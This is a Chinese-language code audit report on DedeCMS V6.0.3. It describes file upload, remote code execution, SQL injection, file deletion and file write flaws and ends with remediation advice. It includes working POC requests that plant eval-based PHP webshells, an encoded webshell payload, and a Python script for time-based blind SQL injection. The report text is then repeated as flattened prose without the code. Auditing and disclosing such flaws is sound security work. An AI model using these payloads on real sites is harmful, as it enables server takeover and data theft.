DedeCMSV6.0.3 代码审计
字数 1650 2025-08-03 16:50:30

DedeCMSV6.0.3 代码审计报告

一、漏洞概述

DedeCMSV6.0.3 存在多个高危安全漏洞,包括文件上传漏洞、远程代码执行(RCE)、DOM型XSS、SQL注入和任意文件删除漏洞等。这些漏洞可导致攻击者获取系统控制权、窃取数据或破坏系统完整性。

二、详细漏洞分析

1. 文件上传漏洞

漏洞位置:未明确指定具体文件,但存在无过滤的文件上传功能

漏洞描述

  • 系统未对上传文件进行任何过滤
  • 可直接上传PHP文件
  • 导致攻击者可上传WebShell获取服务器控制权

验证方法
直接上传包含恶意代码的PHP文件即可

2. 远程代码执行(RCE)漏洞

RCE 1

漏洞位置src/dede/article_template_rand.php

漏洞描述

  • 后台存在命令执行漏洞
  • 需要绕过CSRF token验证(可通过Burp Suite绕过)
  • 攻击者可写入任意PHP代码到src/data/template.rand.php

POC

POST /dede/article_template_rand.php?dopost=save HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Cookie: [包含dede_csrf_token的cookie]

_csrf_token=[dede_csrf_token的值]&templates=<?php phpinfo();?>

写入WebShell

POST /dede/article_template_rand.php?dopost=save&templates=<?=eval($_POST[1]); HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Cookie: [包含dede_csrf_token的cookie]

_csrf_token=[dede_csrf_token的值]

验证方法
访问src/data/template.rand.php查看写入结果

RCE 2

漏洞位置src/dede/article_string_mix.php

漏洞描述

  • 与RCE 1原理相同
  • 通过allsource参数写入恶意代码

POC

POST /dede/article_string_mix.php?dopost=save
allsource=<?php phpinfo();?>&_csrf_token=[cookie里dede_csrf_token的值]

RCE 3

漏洞位置:未明确指定,但需要cfg_cookie_encode小于10

漏洞描述

  • 需要满足cfg_cookie_encode小于10的条件
  • 实际利用中可能难以满足此条件

3. DOM型XSS漏洞

漏洞描述

  • 文档中提到存在DOM型XSS漏洞
  • 但未提供具体细节和利用方法

4. 任意文件删除漏洞

漏洞位置

  • src/dede/file_manage_control.php
  • src/dede/file_class.php

漏洞描述

  • 攻击者可删除服务器上的任意文件
  • 可能导致系统瘫痪或权限提升

5. SQL注入漏洞

SQL注入1

漏洞位置src/dede/member_do.php

漏洞描述

  • dopost=delmembers操作中存在SQL注入
  • 需要safecodesafecode相同
  • 可进行基于时间的盲注

POC

POST /dede/member_do.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

fmdo=yes&dopost=delmembers&id=11113)/**/or/**/if(ascii(substr(DATABASE(),1,1))=100,SLEEP(1),0)#&randcode=34335&safecode=939783ba26dceb46dbabe5a8&safecode=939783ba26dceb46dbabe5a8

自动化利用脚本

import requests
import time

def str_to_hex(s):
    return ''.join([hex(ord(c)).replace('0x', '') for c in s])

flag=''
for i in range(1,50):
    f1=flag
    top=127
    low=33
    while low<=top:
        mid=(top+low)//2
        payload1 = "11113)/**/or/**/if(ascii(substr(DATABASE(),{0},1))={1},SLEEP(2),0)#".format(i,mid)
        data1 = {"fmdo": "yes", "dopost": "delmembers",
                "id":payload1, "randcode": "34335",
                "safecode": "939783ba26dceb46dbabe5a8", "safecode": "939783ba26dceb46dbabe5a8"}
        try:
            print(i, mid)
            r1 = requests.post(url, data=data1, timeout=3)
        except requests.exceptions.ReadTimeout as e:
            flag +=chr(mid)
            print(flag)
            break
        else:
            # 其他处理逻辑
            pass
    if flag == f1:
        break
print(flag)

SQL注入2

漏洞位置src/dede/member_do.php (dopost=edituser操作)

漏洞描述

  • 在用户编辑功能中存在SQL注入
  • 多个参数未经过滤直接拼接到SQL语句中

SQL注入3

漏洞位置src/dede/sys_admin_user_edit.php

漏洞描述

  • 存在SQL注入漏洞
  • 但文档中提到未能成功绕过某些限制

6. 文件写入漏洞

漏洞位置

  • src/dede/file_class.php中的MoveFile函数
  • src/dede/album_add.php

漏洞描述

  • album_add.php存在文件写入漏洞
  • 通过litpic_b64参数写入文件
  • 写入的文件是图片且文件名随机,需要爆破
  • 需要配合文件包含漏洞利用

POC

http://target.com/dede/album_add.php?dopost=save&litpic_b64=,%50%44%39%77%61%48%41%67%5a%57%4e%6f%62%79%41%78%4d%54%45%37%5a%58%5a%68%62%43%67%6b%58%31%42%50%55%31%52%62%4d%56%30%70%4f%77%3d%3d,a&typeid=1&channelid=1

三、漏洞利用条件

  1. 对于后台RCE漏洞,需要具备后台访问权限
  2. 部分漏洞需要绕过CSRF token验证
  3. SQL注入漏洞需要满足特定条件(如safecode相同)
  4. 文件写入漏洞需要配合文件包含或其他漏洞利用

四、修复建议

  1. 对所有用户输入进行严格的过滤和验证
  2. 实现CSRF token机制并确保其安全性
  3. 对文件上传功能进行严格限制,包括文件类型检查和内容验证
  4. 使用预处理语句或ORM框架防止SQL注入
  5. 对文件操作进行严格的权限控制和路径验证
  6. 更新到最新版本或应用官方补丁

五、总结

DedeCMSV6.0.3存在多个高危漏洞,攻击者可以利用这些漏洞获取系统控制权、窃取敏感数据或破坏系统完整性。建议用户立即检查系统安全性并采取相应防护措施。

DedeCMSV6.0.3 代码审计报告 一、漏洞概述 DedeCMSV6.0.3 存在多个高危安全漏洞,包括文件上传漏洞、远程代码执行(RCE)、DOM型XSS、SQL注入和任意文件删除漏洞等。这些漏洞可导致攻击者获取系统控制权、窃取数据或破坏系统完整性。 二、详细漏洞分析 1. 文件上传漏洞 漏洞位置 :未明确指定具体文件,但存在无过滤的文件上传功能 漏洞描述 : 系统未对上传文件进行任何过滤 可直接上传PHP文件 导致攻击者可上传WebShell获取服务器控制权 验证方法 : 直接上传包含恶意代码的PHP文件即可 2. 远程代码执行(RCE)漏洞 RCE 1 漏洞位置 : src/dede/article_template_rand.php 漏洞描述 : 后台存在命令执行漏洞 需要绕过CSRF token验证(可通过Burp Suite绕过) 攻击者可写入任意PHP代码到 src/data/template.rand.php POC : 写入WebShell : 验证方法 : 访问 src/data/template.rand.php 查看写入结果 RCE 2 漏洞位置 : src/dede/article_string_mix.php 漏洞描述 : 与RCE 1原理相同 通过 allsource 参数写入恶意代码 POC : RCE 3 漏洞位置 :未明确指定,但需要 cfg_cookie_encode 小于10 漏洞描述 : 需要满足 cfg_cookie_encode 小于10的条件 实际利用中可能难以满足此条件 3. DOM型XSS漏洞 漏洞描述 : 文档中提到存在DOM型XSS漏洞 但未提供具体细节和利用方法 4. 任意文件删除漏洞 漏洞位置 : src/dede/file_manage_control.php src/dede/file_class.php 漏洞描述 : 攻击者可删除服务器上的任意文件 可能导致系统瘫痪或权限提升 5. SQL注入漏洞 SQL注入1 漏洞位置 : src/dede/member_do.php 漏洞描述 : 在 dopost=delmembers 操作中存在SQL注入 需要 safecode 和 safecode 相同 可进行基于时间的盲注 POC : 自动化利用脚本 : SQL注入2 漏洞位置 : src/dede/member_do.php ( dopost=edituser 操作) 漏洞描述 : 在用户编辑功能中存在SQL注入 多个参数未经过滤直接拼接到SQL语句中 SQL注入3 漏洞位置 : src/dede/sys_admin_user_edit.php 漏洞描述 : 存在SQL注入漏洞 但文档中提到未能成功绕过某些限制 6. 文件写入漏洞 漏洞位置 : src/dede/file_class.php 中的 MoveFile 函数 src/dede/album_add.php 漏洞描述 : album_add.php 存在文件写入漏洞 通过 litpic_b64 参数写入文件 写入的文件是图片且文件名随机,需要爆破 需要配合文件包含漏洞利用 POC : 三、漏洞利用条件 对于后台RCE漏洞,需要具备后台访问权限 部分漏洞需要绕过CSRF token验证 SQL注入漏洞需要满足特定条件(如 safecode 相同) 文件写入漏洞需要配合文件包含或其他漏洞利用 四、修复建议 对所有用户输入进行严格的过滤和验证 实现CSRF token机制并确保其安全性 对文件上传功能进行严格限制,包括文件类型检查和内容验证 使用预处理语句或ORM框架防止SQL注入 对文件操作进行严格的权限控制和路径验证 更新到最新版本或应用官方补丁 五、总结 DedeCMSV6.0.3存在多个高危漏洞,攻击者可以利用这些漏洞获取系统控制权、窃取敏感数据或破坏系统完整性。建议用户立即检查系统安全性并采取相应防护措施。